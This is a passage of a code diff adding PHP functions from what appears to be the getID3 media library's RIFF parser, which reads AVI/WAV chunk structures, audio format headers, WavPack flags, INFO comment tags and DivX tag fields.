+			$RIFFchunk['amvh']['resolution_y']   = getid3_lib::LittleEndian2Int(substr($AMVheader,  48,  4));
+			$RIFFchunk['amvh']['frame_rate_int'] = getid3_lib::LittleEndian2Int(substr($AMVheader,  52,  4));
+			$RIFFchunk['amvh']['reserved0']      = getid3_lib::LittleEndian2Int(substr($AMVheader,  56,  4)); // 1? reserved?
+			$RIFFchunk['amvh']['reserved1']      = getid3_lib::LittleEndian2Int(substr($AMVheader,  60,  4)); // 0? reserved?
+			$RIFFchunk['amvh']['runtime_sec']    = getid3_lib::LittleEndian2Int(substr($AMVheader,  64,  1));
+			$RIFFchunk['amvh']['runtime_min']    = getid3_lib::LittleEndian2Int(substr($AMVheader,  65,  1));
+			$RIFFchunk['amvh']['runtime_hrs']    = getid3_lib::LittleEndian2Int(substr($AMVheader,  66,  2));
+
+			$info['video']['frame_rate']   = 1000000 / $RIFFchunk['amvh']['us_per_frame'];
+			$info['video']['resolution_x'] = $RIFFchunk['amvh']['resolution_x'];
+			$info['video']['resolution_y'] = $RIFFchunk['amvh']['resolution_y'];
+			$info['playtime_seconds']      = ($RIFFchunk['amvh']['runtime_hrs'] * 3600) + ($RIFFchunk['amvh']['runtime_min'] * 60) + $RIFFchunk['amvh']['runtime_sec'];
+
+			// the rest is all hardcoded(?) and does not appear to be useful until you get to audio info at offset 256, even then everything is probably hardcoded
+
+			if (substr($AMVheader,  68, 20) != 'LIST'."\x00\x00\x00\x00".'strlstrh'."\x38\x00\x00\x00") {
+				throw new Exception('expecting "LIST<0x00000000>strlstrh<0x38000000>" at offset '.($startoffset +  68).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader,  68, 20)).'"');
+			}
+			// followed by 56 bytes of null: substr($AMVheader,  88, 56) -> 144
+			if (substr($AMVheader, 144,  8) != 'strf'."\x24\x00\x00\x00") {
+				throw new Exception('expecting "strf<0x24000000>" at offset '.($startoffset + 144).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 144,  8)).'"');
+			}
+			// followed by 36 bytes of null: substr($AMVheader, 144, 36) -> 180
+
+			if (substr($AMVheader, 188, 20) != 'LIST'."\x00\x00\x00\x00".'strlstrh'."\x30\x00\x00\x00") {
+				throw new Exception('expecting "LIST<0x00000000>strlstrh<0x30000000>" at offset '.($startoffset + 188).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 188, 20)).'"');
+			}
+			// followed by 48 bytes of null: substr($AMVheader, 208, 48) -> 256
+			if (substr($AMVheader, 256,  8) != 'strf'."\x14\x00\x00\x00") {
+				throw new Exception('expecting "strf<0x14000000>" at offset '.($startoffset + 256).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 256,  8)).'"');
+			}
+			// followed by 20 bytes of a modified WAVEFORMATEX:
+			// typedef struct {
+			// WORD wFormatTag;       //(Fixme: this is equal to PCM's 0x01 format code)
+			// WORD nChannels;        //(Fixme: this is always 1)
+			// DWORD nSamplesPerSec;  //(Fixme: for all known sample files this is equal to 22050)
+			// DWORD nAvgBytesPerSec; //(Fixme: for all known sample files this is equal to 44100)
+			// WORD nBlockAlign;      //(Fixme: this seems to be 2 in AMV files, is this correct ?)
+			// WORD wBitsPerSample;   //(Fixme: this seems to be 16 in AMV files instead of the expected 4)
+			// WORD cbSize;           //(Fixme: this seems to be 0 in AMV files)
+			// WORD reserved;
+			// } WAVEFORMATEX;
+			$RIFFchunk['strf']['wformattag']      = getid3_lib::LittleEndian2Int(substr($AMVheader,  264,  2));
+			$RIFFchunk['strf']['nchannels']       = getid3_lib::LittleEndian2Int(substr($AMVheader,  266,  2));
+			$RIFFchunk['strf']['nsamplespersec']  = getid3_lib::LittleEndian2Int(substr($AMVheader,  268,  4));
+			$RIFFchunk['strf']['navgbytespersec'] = getid3_lib::LittleEndian2Int(substr($AMVheader,  272,  4));
+			$RIFFchunk['strf']['nblockalign']     = getid3_lib::LittleEndian2Int(substr($AMVheader,  276,  2));
+			$RIFFchunk['strf']['wbitspersample']  = getid3_lib::LittleEndian2Int(substr($AMVheader,  278,  2));
+			$RIFFchunk['strf']['cbsize']          = getid3_lib::LittleEndian2Int(substr($AMVheader,  280,  2));
+			$RIFFchunk['strf']['reserved']        = getid3_lib::LittleEndian2Int(substr($AMVheader,  282,  2));
+
+
+			$info['audio']['lossless']        = false;
+			$info['audio']['sample_rate']     = $RIFFchunk['strf']['nsamplespersec'];
+			$info['audio']['channels']        = $RIFFchunk['strf']['nchannels'];
+			$info['audio']['bits_per_sample'] = $RIFFchunk['strf']['wbitspersample'];
+			$info['audio']['bitrate']         = $info['audio']['sample_rate'] * $info['audio']['channels'] * $info['audio']['bits_per_sample'];
+			$info['audio']['bitrate_mode']    = 'cbr';
+
+
+		} catch (getid3_exception $e) {
+			if ($e->getCode() == 10) {
+				$this->warning('RIFFAMV parser: '.$e->getMessage());
+			} else {
+				throw $e;
+			}
+		}
+
+		return $RIFFchunk;
+	}
+
+
+	public function ParseRIFF($startoffset, $maxoffset) {
+		$info = &$this->getid3->info;
+
+		$RIFFchunk = false;
+		$FoundAllChunksWeNeed = false;
+
+		try {
+			$this->fseek($startoffset);
+			$maxoffset = min($maxoffset, $info['avdataend']);
+			while ($this->ftell() < $maxoffset) {
+				$chunknamesize = $this->fread(8);
+				//$chunkname =                          substr($chunknamesize, 0, 4);
+				$chunkname = str_replace("\x00", '_', substr($chunknamesize, 0, 4));  // note: chunk names of 4 null bytes do appear to be legal (has been observed inside INFO and PRMI chunks, for example), but makes traversing array keys more difficult
+				$chunksize =  $this->EitherEndian2Int(substr($chunknamesize, 4, 4));
+				//if (strlen(trim($chunkname, "\x00")) < 4) {
+				if (strlen($chunkname) < 4) {
+					$this->error('Expecting chunk name at offset '.($this->ftell() - 8).' but found nothing. Aborting RIFF parsing.');
+					break;
+				}
+				if (($chunksize == 0) && ($chunkname != 'JUNK')) {
+					$this->warning('Chunk ('.$chunkname.') size at offset '.($this->ftell() - 4).' is zero. Aborting RIFF parsing.');
+					break;
+				}
+				if (($chunksize % 2) != 0) {
+					// all structures are packed on word boundaries
+					$chunksize++;
+				}
+
+				switch ($chunkname) {
+					case 'LIST':
+						$listname = $this->fread(4);
+						if (preg_match('#^(movi|rec )$#i', $listname)) {
+							$RIFFchunk[$listname]['offset'] = $this->ftell() - 4;
+							$RIFFchunk[$listname]['size']   = $chunksize;
+
+							if (!$FoundAllChunksWeNeed) {
+								$WhereWeWere      = $this->ftell();
+								$AudioChunkHeader = $this->fread(12);
+								$AudioChunkStreamNum  =                              substr($AudioChunkHeader, 0, 2);
+								$AudioChunkStreamType =                              substr($AudioChunkHeader, 2, 2);
+								$AudioChunkSize       = getid3_lib::LittleEndian2Int(substr($AudioChunkHeader, 4, 4));
+
+								if ($AudioChunkStreamType == 'wb') {
+									$FirstFourBytes = substr($AudioChunkHeader, 8, 4);
+									if (preg_match('/^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\xEB]/s', $FirstFourBytes)) {
+										// MP3
+										if (getid3_mp3::MPEGaudioHeaderBytesValid($FirstFourBytes)) {
+											$getid3_temp = new getID3();
+											$getid3_temp->openfile($this->getid3->filename);
+											$getid3_temp->info['avdataoffset'] = $this->ftell() - 4;
+											$getid3_temp->info['avdataend']    = $this->ftell() + $AudioChunkSize;
+											$getid3_mp3 = new getid3_mp3($getid3_temp, __CLASS__);
+											$getid3_mp3->getOnlyMPEGaudioInfo($getid3_temp->info['avdataoffset'], false);
+											if (isset($getid3_temp->info['mpeg']['audio'])) {
+												$info['mpeg']['audio']         = $getid3_temp->info['mpeg']['audio'];
+												$info['audio']                 = $getid3_temp->info['audio'];
+												$info['audio']['dataformat']   = 'mp'.$info['mpeg']['audio']['layer'];
+												$info['audio']['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
+												$info['audio']['channels']     = $info['mpeg']['audio']['channels'];
+												$info['audio']['bitrate']      = $info['mpeg']['audio']['bitrate'];
+												$info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
+												//$info['bitrate']               = $info['audio']['bitrate'];
+											}
+											unset($getid3_temp, $getid3_mp3);
+										}
+
+									} elseif (strpos($FirstFourBytes, getid3_ac3::syncword) === 0) {
+
+										// AC3
+										$getid3_temp = new getID3();
+										$getid3_temp->openfile($this->getid3->filename);
+										$getid3_temp->info['avdataoffset'] = $this->ftell() - 4;
+										$getid3_temp->info['avdataend']    = $this->ftell() + $AudioChunkSize;
+										$getid3_ac3 = new getid3_ac3($getid3_temp);
+										$getid3_ac3->Analyze();
+										if (empty($getid3_temp->info['error'])) {
+											$info['audio']   = $getid3_temp->info['audio'];
+											$info['ac3']     = $getid3_temp->info['ac3'];
+											if (!empty($getid3_temp->info['warning'])) {
+												foreach ($getid3_temp->info['warning'] as $key => $value) {
+													$info['warning'][] = $value;
+												}
+											}
+										}
+										unset($getid3_temp, $getid3_ac3);
+									}
+								}
+								$FoundAllChunksWeNeed = true;
+								$this->fseek($WhereWeWere);
+							}
+							$this->fseek($chunksize - 4, SEEK_CUR);
+
+						} else {
+
+							if (!isset($RIFFchunk[$listname])) {
+								$RIFFchunk[$listname] = array();
+							}
+							$LISTchunkParent    = $listname;
+							$LISTchunkMaxOffset = $this->ftell() - 4 + $chunksize;
+							if ($parsedChunk = $this->ParseRIFF($this->ftell(), $LISTchunkMaxOffset)) {
+								$RIFFchunk[$listname] = array_merge_recursive($RIFFchunk[$listname], $parsedChunk);
+							}
+
+						}
+						break;
+
+					default:
+						if (preg_match('#^[0-9]{2}(wb|pc|dc|db)$#', $chunkname)) {
+							$this->fseek($chunksize, SEEK_CUR);
+							break;
+						}
+						$thisindex = 0;
+						if (isset($RIFFchunk[$chunkname]) && is_array($RIFFchunk[$chunkname])) {
+							$thisindex = count($RIFFchunk[$chunkname]);
+						}
+						$RIFFchunk[$chunkname][$thisindex]['offset'] = $this->ftell() - 8;
+						$RIFFchunk[$chunkname][$thisindex]['size']   = $chunksize;
+						switch ($chunkname) {
+							case 'data':
+								$info['avdataoffset'] = $this->ftell();
+								$info['avdataend']    = $info['avdataoffset'] + $chunksize;
+
+								$testData = $this->fread(36);
+								if ($testData === '') {
+									break;
+								}
+								if (preg_match('/^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\xEB]/s', substr($testData, 0, 4))) {
+
+									// Probably is MP3 data
+									if (getid3_mp3::MPEGaudioHeaderBytesValid(substr($testData, 0, 4))) {
+										$getid3_temp = new getID3();
+										$getid3_temp->openfile($this->getid3->filename);
+										$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
+										$getid3_temp->info['avdataend']    = $info['avdataend'];
+										$getid3_mp3 = new getid3_mp3($getid3_temp, __CLASS__);
+										$getid3_mp3->getOnlyMPEGaudioInfo($info['avdataoffset'], false);
+										if (empty($getid3_temp->info['error'])) {
+											$info['audio'] = $getid3_temp->info['audio'];
+											$info['mpeg']  = $getid3_temp->info['mpeg'];
+										}
+										unset($getid3_temp, $getid3_mp3);
+									}
+
+								} elseif (($isRegularAC3 = (substr($testData, 0, 2) == getid3_ac3::syncword)) || substr($testData, 8, 2) == strrev(getid3_ac3::syncword)) {
+
+									// This is probably AC-3 data
+									$getid3_temp = new getID3();
+									if ($isRegularAC3) {
+										$getid3_temp->openfile($this->getid3->filename);
+										$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
+										$getid3_temp->info['avdataend']    = $info['avdataend'];
+									}
+									$getid3_ac3 = new getid3_ac3($getid3_temp);
+									if ($isRegularAC3) {
+										$getid3_ac3->Analyze();
+									} else {
+										// Dolby Digital WAV
+										// AC-3 content, but not encoded in same format as normal AC-3 file
+										// For one thing, byte order is swapped
+										$ac3_data = '';
+										for ($i = 0; $i < 28; $i += 2) {
+											$ac3_data .= substr($testData, 8 + $i + 1, 1);
+											$ac3_data .= substr($testData, 8 + $i + 0, 1);
+										}
+										$getid3_ac3->AnalyzeString($ac3_data);
+									}
+
+									if (empty($getid3_temp->info['error'])) {
+										$info['audio'] = $getid3_temp->info['audio'];
+										$info['ac3']   = $getid3_temp->info['ac3'];
+										if (!empty($getid3_temp->info['warning'])) {
+											foreach ($getid3_temp->info['warning'] as $newerror) {
+												$this->warning('getid3_ac3() says: ['.$newerror.']');
+											}
+										}
+									}
+									unset($getid3_temp, $getid3_ac3);
+
+								} elseif (preg_match('/^('.implode('|', array_map('preg_quote', getid3_dts::$syncwords)).')/', $testData)) {
+
+									// This is probably DTS data
+									$getid3_temp = new getID3();
+									$getid3_temp->openfile($this->getid3->filename);
+									$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
+									$getid3_dts = new getid3_dts($getid3_temp);
+									$getid3_dts->Analyze();
+									if (empty($getid3_temp->info['error'])) {
+										$info['audio']            = $getid3_temp->info['audio'];
+										$info['dts']              = $getid3_temp->info['dts'];
+										$info['playtime_seconds'] = $getid3_temp->info['playtime_seconds']; // may not match RIFF calculations since DTS-WAV often used 14/16 bit-word packing
+										if (!empty($getid3_temp->info['warning'])) {
+											foreach ($getid3_temp->info['warning'] as $newerror) {
+												$this->warning('getid3_dts() says: ['.$newerror.']');
+											}
+										}
+									}
+
+									unset($getid3_temp, $getid3_dts);
+
+								} elseif (substr($testData, 0, 4) == 'wvpk') {
+
+									// This is WavPack data
+									$info['wavpack']['offset'] = $info['avdataoffset'];
+									$info['wavpack']['size']   = getid3_lib::LittleEndian2Int(substr($testData, 4, 4));
+									$this->parseWavPackHeader(substr($testData, 8, 28));
+
+								} else {
+									// This is some other kind of data (quite possibly just PCM)
+									// do nothing special, just skip it
+								}
+								$nextoffset = $info['avdataend'];
+								$this->fseek($nextoffset);
+								break;
+
+							case 'iXML':
+							case 'bext':
+							case 'cart':
+							case 'fmt ':
+							case 'strh':
+							case 'strf':
+							case 'indx':
+							case 'MEXT':
+							case 'DISP':
+								// always read data in
+							case 'JUNK':
+								// should be: never read data in
+								// but some programs write their version strings in a JUNK chunk (e.g. VirtualDub, AVIdemux, etc)
+								if ($chunksize < 1048576) {
+									if ($chunksize > 0) {
+										$RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize);
+										if ($chunkname == 'JUNK') {
+											if (preg_match('#^([\\x20-\\x7F]+)#', $RIFFchunk[$chunkname][$thisindex]['data'], $matches)) {
+												// only keep text characters [chr(32)-chr(127)]
+												$info['riff']['comments']['junk'][] = trim($matches[1]);
+											}
+											// but if nothing there, ignore
+											// remove the key in either case
+											unset($RIFFchunk[$chunkname][$thisindex]['data']);
+										}
+									}
+								} else {
+									$this->warning('Chunk "'.$chunkname.'" at offset '.$this->ftell().' is unexpectedly larger than 1MB (claims to be '.number_format($chunksize).' bytes), skipping data');
+									$this->fseek($chunksize, SEEK_CUR);
+								}
+								break;
+
+							//case 'IDVX':
+							//	$info['divxtag']['comments'] = self::ParseDIVXTAG($this->fread($chunksize));
+							//	break;
+
+							default:
+								if (!empty($LISTchunkParent) && (($RIFFchunk[$chunkname][$thisindex]['offset'] + $RIFFchunk[$chunkname][$thisindex]['size']) <= $LISTchunkMaxOffset)) {
+									$RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['offset'] = $RIFFchunk[$chunkname][$thisindex]['offset'];
+									$RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['size']   = $RIFFchunk[$chunkname][$thisindex]['size'];
+									unset($RIFFchunk[$chunkname][$thisindex]['offset']);
+									unset($RIFFchunk[$chunkname][$thisindex]['size']);
+									if (isset($RIFFchunk[$chunkname][$thisindex]) && empty($RIFFchunk[$chunkname][$thisindex])) {
+										unset($RIFFchunk[$chunkname][$thisindex]);
+									}
+									if (isset($RIFFchunk[$chunkname]) && empty($RIFFchunk[$chunkname])) {
+										unset($RIFFchunk[$chunkname]);
+									}
+									$RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['data'] = $this->fread($chunksize);
+								} elseif ($chunksize < 2048) {
+									// only read data in if smaller than 2kB
+									$RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize);
+								} else {
+									$this->fseek($chunksize, SEEK_CUR);
+								}
+								break;
+						}
+						break;
+				}
+			}
+
+		} catch (getid3_exception $e) {
+			if ($e->getCode() == 10) {
+				$this->warning('RIFF parser: '.$e->getMessage());
+			} else {
+				throw $e;
+			}
+		}
+
+		return $RIFFchunk;
+	}
+
+	public function ParseRIFFdata(&$RIFFdata) {
+		$info = &$this->getid3->info;
+		if ($RIFFdata) {
+			$tempfile = tempnam(GETID3_TEMP_DIR, 'getID3');
+			$fp_temp  = fopen($tempfile, 'wb');
+			$RIFFdataLength = strlen($RIFFdata);
+			$NewLengthString = getid3_lib::LittleEndian2String($RIFFdataLength, 4);
+			for ($i = 0; $i < 4; $i++) {
+				$RIFFdata[($i + 4)] = $NewLengthString[$i];
+			}
+			fwrite($fp_temp, $RIFFdata);
+			fclose($fp_temp);
+
+			$getid3_temp = new getID3();
+			$getid3_temp->openfile($tempfile);
+			$getid3_temp->info['filesize']     = $RIFFdataLength;
+			$getid3_temp->info['filenamepath'] = $info['filenamepath'];
+			$getid3_temp->info['tags']         = $info['tags'];
+			$getid3_temp->info['warning']      = $info['warning'];
+			$getid3_temp->info['error']        = $info['error'];
+			$getid3_temp->info['comments']     = $info['comments'];
+			$getid3_temp->info['audio']        = (isset($info['audio']) ? $info['audio'] : array());
+			$getid3_temp->info['video']        = (isset($info['video']) ? $info['video'] : array());
+			$getid3_riff = new getid3_riff($getid3_temp);
+			$getid3_riff->Analyze();
+
+			$info['riff']     = $getid3_temp->info['riff'];
+			$info['warning']  = $getid3_temp->info['warning'];
+			$info['error']    = $getid3_temp->info['error'];
+			$info['tags']     = $getid3_temp->info['tags'];
+			$info['comments'] = $getid3_temp->info['comments'];
+			unset($getid3_riff, $getid3_temp);
+			unlink($tempfile);
+		}
+		return false;
+	}
+
+	public static function parseComments(&$RIFFinfoArray, &$CommentsTargetArray) {
+		$RIFFinfoKeyLookup = array(
+			'IARL'=>'archivallocation',
+			'IART'=>'artist',
+			'ICDS'=>'costumedesigner',
+			'ICMS'=>'commissionedby',
+			'ICMT'=>'comment',
+			'ICNT'=>'country',
+			'ICOP'=>'copyright',
+			'ICRD'=>'creationdate',
+			'IDIM'=>'dimensions',
+			'IDIT'=>'digitizationdate',
+			'IDPI'=>'resolution',
+			'IDST'=>'distributor',
+			'IEDT'=>'editor',
+			'IENG'=>'engineers',
+			'IFRM'=>'accountofparts',
+			'IGNR'=>'genre',
+			'IKEY'=>'keywords',
+			'ILGT'=>'lightness',
+			'ILNG'=>'language',
+			'IMED'=>'orignalmedium',
+			'IMUS'=>'composer',
+			'INAM'=>'title',
+			'IPDS'=>'productiondesigner',
+			'IPLT'=>'palette',
+			'IPRD'=>'product',
+			'IPRO'=>'producer',
+			'IPRT'=>'part',
+			'IRTD'=>'rating',
+			'ISBJ'=>'subject',
+			'ISFT'=>'software',
+			'ISGN'=>'secondarygenre',
+			'ISHP'=>'sharpness',
+			'ISRC'=>'sourcesupplier',
+			'ISRF'=>'digitizationsource',
+			'ISTD'=>'productionstudio',
+			'ISTR'=>'starring',
+			'ITCH'=>'encoded_by',
+			'IWEB'=>'url',
+			'IWRI'=>'writer',
+			'____'=>'comment',
+		);
+		foreach ($RIFFinfoKeyLookup as $key => $value) {
+			if (isset($RIFFinfoArray[$key])) {
+				foreach ($RIFFinfoArray[$key] as $commentid => $commentdata) {
+					if (trim($commentdata['data']) != '') {
+						if (isset($CommentsTargetArray[$value])) {
+							$CommentsTargetArray[$value][] =     trim($commentdata['data']);
+						} else {
+							$CommentsTargetArray[$value] = array(trim($commentdata['data']));
+						}
+					}
+				}
+			}
+		}
+		return true;
+	}
+
+	public static function parseWAVEFORMATex($WaveFormatExData) {
+		// shortcut
+		$WaveFormatEx['raw'] = array();
+		$WaveFormatEx_raw    = &$WaveFormatEx['raw'];
+
+		$WaveFormatEx_raw['wFormatTag']      = substr($WaveFormatExData,  0, 2);
+		$WaveFormatEx_raw['nChannels']       = substr($WaveFormatExData,  2, 2);
+		$WaveFormatEx_raw['nSamplesPerSec']  = substr($WaveFormatExData,  4, 4);
+		$WaveFormatEx_raw['nAvgBytesPerSec'] = substr($WaveFormatExData,  8, 4);
+		$WaveFormatEx_raw['nBlockAlign']     = substr($WaveFormatExData, 12, 2);
+		$WaveFormatEx_raw['wBitsPerSample']  = substr($WaveFormatExData, 14, 2);
+		if (strlen($WaveFormatExData) > 16) {
+			$WaveFormatEx_raw['cbSize']      = substr($WaveFormatExData, 16, 2);
+		}
+		$WaveFormatEx_raw = array_map('getid3_lib::LittleEndian2Int', $WaveFormatEx_raw);
+
+		$WaveFormatEx['codec']           = self::wFormatTagLookup($WaveFormatEx_raw['wFormatTag']);
+		$WaveFormatEx['channels']        = $WaveFormatEx_raw['nChannels'];
+		$WaveFormatEx['sample_rate']     = $WaveFormatEx_raw['nSamplesPerSec'];
+		$WaveFormatEx['bitrate']         = $WaveFormatEx_raw['nAvgBytesPerSec'] * 8;
+		$WaveFormatEx['bits_per_sample'] = $WaveFormatEx_raw['wBitsPerSample'];
+
+		return $WaveFormatEx;
+	}
+
+	public function parseWavPackHeader($WavPackChunkData) {
+		// typedef struct {
+		//     char ckID [4];
+		//     long ckSize;
+		//     short version;
+		//     short bits;                // added for version 2.00
+		//     short flags, shift;        // added for version 3.00
+		//     long total_samples, crc, crc2;
+		//     char extension [4], extra_bc, extras [3];
+		// } WavpackHeader;
+
+		// shortcut
+		$info = &$this->getid3->info;
+		$info['wavpack']  = array();
+		$thisfile_wavpack = &$info['wavpack'];
+
+		$thisfile_wavpack['version']           = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  0, 2));
+		if ($thisfile_wavpack['version'] >= 2) {
+			$thisfile_wavpack['bits']          = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  2, 2));
+		}
+		if ($thisfile_wavpack['version'] >= 3) {
+			$thisfile_wavpack['flags_raw']     = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  4, 2));
+			$thisfile_wavpack['shift']         = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  6, 2));
+			$thisfile_wavpack['total_samples'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  8, 4));
+			$thisfile_wavpack['crc1']          = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 12, 4));
+			$thisfile_wavpack['crc2']          = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 16, 4));
+			$thisfile_wavpack['extension']     =                              substr($WavPackChunkData, 20, 4);
+			$thisfile_wavpack['extra_bc']      = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 24, 1));
+			for ($i = 0; $i <= 2; $i++) {
+				$thisfile_wavpack['extras'][]  = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 25 + $i, 1));
+			}
+
+			// shortcut
+			$thisfile_wavpack['flags'] = array();
+			$thisfile_wavpack_flags = &$thisfile_wavpack['flags'];
+
+			$thisfile_wavpack_flags['mono']                 = (bool) ($thisfile_wavpack['flags_raw'] & 0x000001);
+			$thisfile_wavpack_flags['fast_mode']            = (bool) ($thisfile_wavpack['flags_raw'] & 0x000002);
+			$thisfile_wavpack_flags['raw_mode']             = (bool) ($thisfile_wavpack['flags_raw'] & 0x000004);
+			$thisfile_wavpack_flags['calc_noise']           = (bool) ($thisfile_wavpack['flags_raw'] & 0x000008);
+			$thisfile_wavpack_flags['high_quality']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x000010);
+			$thisfile_wavpack_flags['3_byte_samples']       = (bool) ($thisfile_wavpack['flags_raw'] & 0x000020);
+			$thisfile_wavpack_flags['over_20_bits']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x000040);
+			$thisfile_wavpack_flags['use_wvc']              = (bool) ($thisfile_wavpack['flags_raw'] & 0x000080);
+			$thisfile_wavpack_flags['noiseshaping']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x000100);
+			$thisfile_wavpack_flags['very_fast_mode']       = (bool) ($thisfile_wavpack['flags_raw'] & 0x000200);
+			$thisfile_wavpack_flags['new_high_quality']     = (bool) ($thisfile_wavpack['flags_raw'] & 0x000400);
+			$thisfile_wavpack_flags['cancel_extreme']       = (bool) ($thisfile_wavpack['flags_raw'] & 0x000800);
+			$thisfile_wavpack_flags['cross_decorrelation']  = (bool) ($thisfile_wavpack['flags_raw'] & 0x001000);
+			$thisfile_wavpack_flags['new_decorrelation']    = (bool) ($thisfile_wavpack['flags_raw'] & 0x002000);
+			$thisfile_wavpack_flags['joint_stereo']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x004000);
+			$thisfile_wavpack_flags['extra_decorrelation']  = (bool) ($thisfile_wavpack['flags_raw'] & 0x008000);
+			$thisfile_wavpack_flags['override_noiseshape']  = (bool) ($thisfile_wavpack['flags_raw'] & 0x010000);
+			$thisfile_wavpack_flags['override_jointstereo'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x020000);
+			$thisfile_wavpack_flags['copy_source_filetime'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x040000);
+			$thisfile_wavpack_flags['create_exe']           = (bool) ($thisfile_wavpack['flags_raw'] & 0x080000);
+		}
+
+		return true;
+	}
+
+	public static function ParseBITMAPINFOHEADER($BITMAPINFOHEADER, $littleEndian=true) {
+
+		$parsed['biSize']          = substr($BITMAPINFOHEADER,  0, 4); // number of bytes required by the BITMAPINFOHEADER structure
+		$parsed['biWidth']         = substr($BITMAPINFOHEADER,  4, 4); // width of the bitmap in pixels
+		$parsed['biHeight']        = substr($BITMAPINFOHEADER,  8, 4); // height of the bitmap in pixels. If biHeight is positive, the bitmap is a 'bottom-up' DIB and its origin is the lower left corner. If biHeight is negative, the bitmap is a 'top-down' DIB and its origin is the upper left corner
+		$parsed['biPlanes']        = substr($BITMAPINFOHEADER, 12, 2); // number of color planes on the target device. In most cases this value must be set to 1
+		$parsed['biBitCount']      = substr($BITMAPINFOHEADER, 14, 2); // Specifies the number of bits per pixels
+		$parsed['biSizeImage']     = substr($BITMAPINFOHEADER, 20, 4); // size of the bitmap data section of the image (the actual pixel data, excluding BITMAPINFOHEADER and RGBQUAD structures)
+		$parsed['biXPelsPerMeter'] = substr($BITMAPINFOHEADER, 24, 4); // horizontal resolution, in pixels per metre, of the target device
+		$parsed['biYPelsPerMeter'] = substr($BITMAPINFOHEADER, 28, 4); // vertical resolution, in pixels per metre, of the target device
+		$parsed['biClrUsed']       = substr($BITMAPINFOHEADER, 32, 4); // actual number of color indices in the color table used by the bitmap. If this value is zero, the bitmap uses the maximum number of colors corresponding to the value of the biBitCount member for the compression mode specified by biCompression
+		$parsed['biClrImportant']  = substr($BITMAPINFOHEADER, 36, 4); // number of color indices that are considered important for displaying the bitmap. If this value is zero, all colors are important
+		$parsed = array_map('getid3_lib::'.($littleEndian ? 'Little' : 'Big').'Endian2Int', $parsed);
+
+		$parsed['fourcc']          = substr($BITMAPINFOHEADER, 16, 4);  // compression identifier
+
+		return $parsed;
+	}
+
+	public static function ParseDIVXTAG($DIVXTAG, $raw=false) {
+		// structure from "IDivX" source, Form1.frm, by "Greg Frazier of Daemonic Software Group", email: gfrazier@icestorm.net, web: http://dsg.cjb.net/
+		// source available at http://files.divx-digest.com/download/c663efe7ef8ad2e90bf4af4d3ea6188a/on0SWN2r/edit/IDivX.zip
+		// 'Byte Layout:                   '1111111111111111
+		// '32 for Movie - 1               '1111111111111111
+		// '28 for Author - 6              '6666666666666666
+		// '4  for year - 2                '6666666666662222
+		// '3  for genre - 3               '7777777777777777
+		// '48 for Comments - 7            '7777777777777777
+		// '1  for Rating - 4              '7777777777777777
+		// '5  for Future Additions - 0    '333400000DIVXTAG
+		// '128 bytes total
+
+		static $DIVXTAGgenre  = array(
+			 0 => 'Action',
+			 1 => 'Action/Adventure',
+			 2 => 'Adventure',
+			 3 => 'Adult',
+			 4 => 'Anime',
+			 5 => 'Cartoon',
+			 6 => 'Claymation',
+			 7 => 'Comedy',
+			 8 => 'Commercial',
+			 9 => 'Documentary',
+			10 => 'Drama',
+			11 => 'Home Video',
+			12 => 'Horror',
+			13 => 'Infomercial',
+			14 => 'Interactive',
+			15 => 'Mystery',
+			16 => 'Music Video',
+			17 => 'Other',
+			18 => 'Religion',
+			19 => 'Sci Fi',
+			20 => 'Thriller',
+			21 => 'Western',
+		),
+		$DIVXTAGrating = array(
+			 0 => 'Unrated',
+			 1 => 'G',
+			 2 => 'PG',
+			 3 => 'PG-13',
+			 4 => 'R',
+			 5 => 'NC-17',
+		);
+
+		$parsed['title']     =        trim(substr($DIVXTAG,   0, 32));
+		$parsed['artist']    =        trim(substr($DIVXTAG,  32, 28));
+		$parsed['year']      = intval(trim(substr($DIVXTAG,  60,  4)));
+		$parsed['comment']   =        trim(substr($DIVXTAG,  64, 48));
+		$parsed['genre_id']  = intval(trim(substr($DIVXTAG, 112,  3)));
+		$parsed['rating_id'] =         ord(substr($DIVXTAG, 115,  1));
+		//$parsed['padding'] =             substr($DIVXTAG, 116,  5);  // 5-byte null
+		//$parsed['magic']   =             substr($DIVXTAG, 121,  7);  // "DIVXTAG"
+
+		$parsed['genre']  = (isset($DIVXTAGgenre[$parsed['genre_id']])   ? $DIVXTAGgenre[$parsed['genre_id']]   : $parsed['genre_id']);
+		$parsed['rating'] = (isset($DIVXTAGrating[$parsed['rating_id']]) ? $DIVXTAGrating[$parsed['rating_id']] : $parsed['rating_id']);
+
+		if (!$raw) {
+			unset($parsed['genre_id'], $parsed['rating_id']);
+			foreach ($parsed as $key => $value) {
+				if (!$value === '') {
+					unset($parsed['key']);
+				}
+			}
+		}
+
+		foreach ($parsed as $tag => $value) {
+			$parsed[$tag] = array($value);
+		}
+
+		return $parsed;
+	}
+
+	public static function waveSNDMtagLookup($tagshortname) {
